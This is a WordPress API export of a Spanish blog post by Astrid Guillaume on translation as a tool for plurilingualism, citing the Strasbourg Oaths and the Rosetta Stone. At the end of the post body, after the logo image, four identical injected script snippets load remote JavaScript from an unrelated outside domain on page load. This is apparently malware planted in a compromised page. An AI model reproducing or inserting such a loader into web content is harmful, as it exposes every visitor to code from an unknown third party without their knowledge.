{"id":66884,"date":"2015-09-05T03:17:57","date_gmt":"2015-09-05T01:17:57","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66884"},"modified":"2025-10-21T21:57:10","modified_gmt":"2025-10-21T19:57:10","slug":"la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/","title":{"rendered":"La traducci\u00f3n como herramienta necesaria para el plurilinguismo"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Astrid Guillaume el January 24, 2011<\/span><br \/>\n&nbsp;<br \/>\n<img decoding=\"async\" class=\" size-full wp-image-2549 alignleft\" title=\"Astrid Guillaume\"  src=\"\/wp-content\/uploads\/astrid.jpg\" alt=\"Astrid Guillaume\" width=\"150\" height=\"auto\" \/><br \/>\n&nbsp;<br \/>\n<em>Astrid Guillaume es vicepresidenta del Observatorio europeo del plurilinguismo y Profesor en la Sorbona.<\/em><br \/>\n&nbsp;<br \/>\n&nbsp;<br \/>\n&nbsp;<br \/>\n&nbsp;<br \/>\nHoy en el mundo contamos con unas 6800 lenguas: imposible dominar 6800 lenguas, ni siquiera unas cien, 10 vidas humanas no bastar\u00edan para alcanzar este objetivo. Pero aprender sistem\u00e1ticamente una sola como el ingl\u00e9s representa un peligro, si otras lenguas pierden visibilidad siendo menos aprendidas y si el todo-en-ingl\u00e9s uniformiza el planeta en el plano ling\u00fc\u00edstico y cultural. El inter\u00e9s es pues el de proteger, como organismos vivos, todas las lenguas y las culturas del mundo, favoreciendo el plurilinguismo.<\/p>\n<p>Pero quien dice plurilinguismo dice tambi\u00e9n necesidad de traducir. Despu\u00e9s de la lengua en s\u00ed misma, <strong>la traducci\u00f3n es en efecto el primer instrumento universal de comunicaci\u00f3n.<\/strong> Siempre y en diversos contextos de civilizaci\u00f3n, la traducci\u00f3n le ha permitido al hombre comprender mejor al otro sin dejar de permitir que su lengua exista.<\/p>\n<p><strong>En la historia de la humanidad, el traductor y el int\u00e9rprete siempre han desempe\u00f1ado un papel altamente diplom\u00e1tico y estrat\u00e9gico, as\u00ed como un papel de transmisor del conocimiento. <\/strong>La traducci\u00f3n marc\u00f3 fundamentalmente la historia de los intercambios humanos tanto en la constituci\u00f3n de los Estados, en las mutaciones religiosas, en la difusi\u00f3n mundial de la cultura como en la salvaguardia de las lenguas menos difundidas.<\/p>\n<div id=\"attachment_2550\" style=\"width: 170px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Los Juramentos de Estrasburgo\" src=\"\/wp-content\/uploads\/serments_de_strasbourg.jpg\" alt=\"Los Juramentos de Estrasburgo\" width=\"160\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Los Juramentos de Estrasburgo (842)<\/p><\/div>\n<p>Sobre el plano pol\u00edtico, por ejemplo, la traducci\u00f3n desempe\u00f1\u00f3 un papel importante en el siglo IX luego de la divisi\u00f3n del imperio de Carlomagno: sus dos nietos, Luis el Germ\u00e1nico y Carlos el Calvo, decidieron hacer un pacto para reclamarle a su hermano Lotario su parte de la herencia. Hicieron as\u00ed redactar, en 842, los Juramentos de Estrasburgo en ambas lenguas de sus pueblos respectivos: el tudesco para el pueblo de Luis el Germ\u00e1nico, y la lengua romance para el de Carlos el Calvo. As\u00ed, dirigirse y escribir en la lengua del otro era interpretado como un acto pol\u00edtico fuerte que pod\u00eda contribuir a un proceso de paz.<\/p>\n<div id=\"attachment_2550\" style=\"width: 170px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"La piedra Rosetta\" src=\"\/wp-content\/uploads\/pierre_de_rosette.jpg\" alt=\"La piedra Rosetta\" width=\"160\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">La piedra Rosetta<\/p><\/div>\n<p>Sobre un plano m\u00e1s cultural, las glosas permitieron descifrar y decodificar muchas lenguas olvidadas en \u00e9pocas diversas. La traducci\u00f3n ya se impon\u00eda entre el pueblo egipcio y mesopot\u00e1mico 3000 a\u00f1os antes de Cristo. Y es lo que le permiti\u00f3 a Jean-Fran\u00e7ois Champollion descifrar en el siglo XIX la famosa piedra Rosetta: grabada en tres lenguas, esta piedra abri\u00f3 las puertas de la comprensi\u00f3n de los m\u00e1s bellos edificios egipcios, descubriendo en el coraz\u00f3n de sus surcos jerogl\u00edficos, dem\u00f3ticos y griegos las nuevas funciones de un cierto Claudio Ptolomeo llamado a reinar sobre el alto y bajo Egipto en 196 antes de Cristo.<\/p>\n<p><strong>La traducci\u00f3n particip\u00f3 pues considerablemente en el establecimiento luego en la difusi\u00f3n del patrimonio hist\u00f3rico, cultural y cient\u00edfico de la Humanidad.<\/strong><\/p>\n<p>Es por las razones y estos intereses que el Observatorio europeo del Plurilinguismo vela y labora a favor de la representatividad de las lenguas en la sociedad y las instancias oficiales, del control de dos, o incluso tres lenguas o m\u00e1s, y de la utilizaci\u00f3n sistem\u00e1tica de la traducci\u00f3n. <strong>Porque cuando se deja de traducir luego de hablar una lengua, esta muere, y es entonces un poco  de la historia de la Humanidad que desaparece con ella para siempre.<\/strong><\/p>\n<p><strong>El plurilinguismo y su corolario la traducci\u00f3n son las herramientas de comunicaci\u00f3n interdisciplinarias<\/strong> de ayer, hoy y de ma\u00f1ana, que mas respetan mejor las lenguas y las culturas del mundo.<br \/>\n<img decoding=\"async\" class=\" size-full wp-image-2549 aligncenter\" title=\"\"  src=\"\/wp-content\/uploads\/logo_oedp.jpg\" alt=\"\" width=\"150\" height=\"auto\" \/><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Astrid Guillaume el January 24, 2011 &nbsp; &nbsp; Astrid Guillaume es vicepresidenta del Observatorio europeo del plurilinguismo y Profesor en la Sorbona. &nbsp; &nbsp; &nbsp; &nbsp; Hoy en el mundo contamos con unas 6800 lenguas: imposible dominar 6800 lenguas, ni siquiera unas cien, 10 vidas humanas no bastar\u00edan para alcanzar este objetivo. Pero [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66884","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>La traducci\u00f3n como herramienta necesaria para el plurilinguismo - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"La traducci\u00f3n como herramienta necesaria para el plurilinguismo - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por Astrid Guillaume el January 24, 2011 &nbsp; &nbsp; Astrid Guillaume es vicepresidenta del Observatorio europeo del plurilinguismo y Profesor en la Sorbona. &nbsp; &nbsp; &nbsp; &nbsp; Hoy en el mundo contamos con unas 6800 lenguas: imposible dominar 6800 lenguas, ni siquiera unas cien, 10 vidas humanas no bastar\u00edan para alcanzar este objetivo. Pero [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-05T01:17:57+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:57:10+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"La traducci\u00f3n como herramienta necesaria para el plurilinguismo\",\"datePublished\":\"2015-09-05T01:17:57+00:00\",\"dateModified\":\"2025-10-21T19:57:10+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/\"},\"wordCount\":635,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/\",\"name\":\"La traducci\u00f3n como herramienta necesaria para el plurilinguismo - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-05T01:17:57+00:00\",\"dateModified\":\"2025-10-21T19:57:10+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"La traducci\u00f3n como herramienta necesaria para el plurilinguismo\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"La traducci\u00f3n como herramienta necesaria para el plurilinguismo - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/","og_locale":"es_ES","og_type":"article","og_title":"La traducci\u00f3n como herramienta necesaria para el plurilinguismo - Sorosoro","og_description":"Publicado por Astrid Guillaume el January 24, 2011 &nbsp; &nbsp; Astrid Guillaume es vicepresidenta del Observatorio europeo del plurilinguismo y Profesor en la Sorbona. &nbsp; &nbsp; &nbsp; &nbsp; Hoy en el mundo contamos con unas 6800 lenguas: imposible dominar 6800 lenguas, ni siquiera unas cien, 10 vidas humanas no bastar\u00edan para alcanzar este objetivo. Pero [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/","og_site_name":"Sorosoro","article_published_time":"2015-09-05T01:17:57+00:00","article_modified_time":"2025-10-21T19:57:10+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"3 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"La traducci\u00f3n como herramienta necesaria para el plurilinguismo","datePublished":"2015-09-05T01:17:57+00:00","dateModified":"2025-10-21T19:57:10+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/"},"wordCount":635,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/","name":"La traducci\u00f3n como herramienta necesaria para el plurilinguismo - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-05T01:17:57+00:00","dateModified":"2025-10-21T19:57:10+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-traduccion-como-herramienta-necesaria-para-el-plurilinguismo\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"La traducci\u00f3n como herramienta necesaria para el plurilinguismo"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66884","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66884"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66884\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66884"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66884"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66884"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}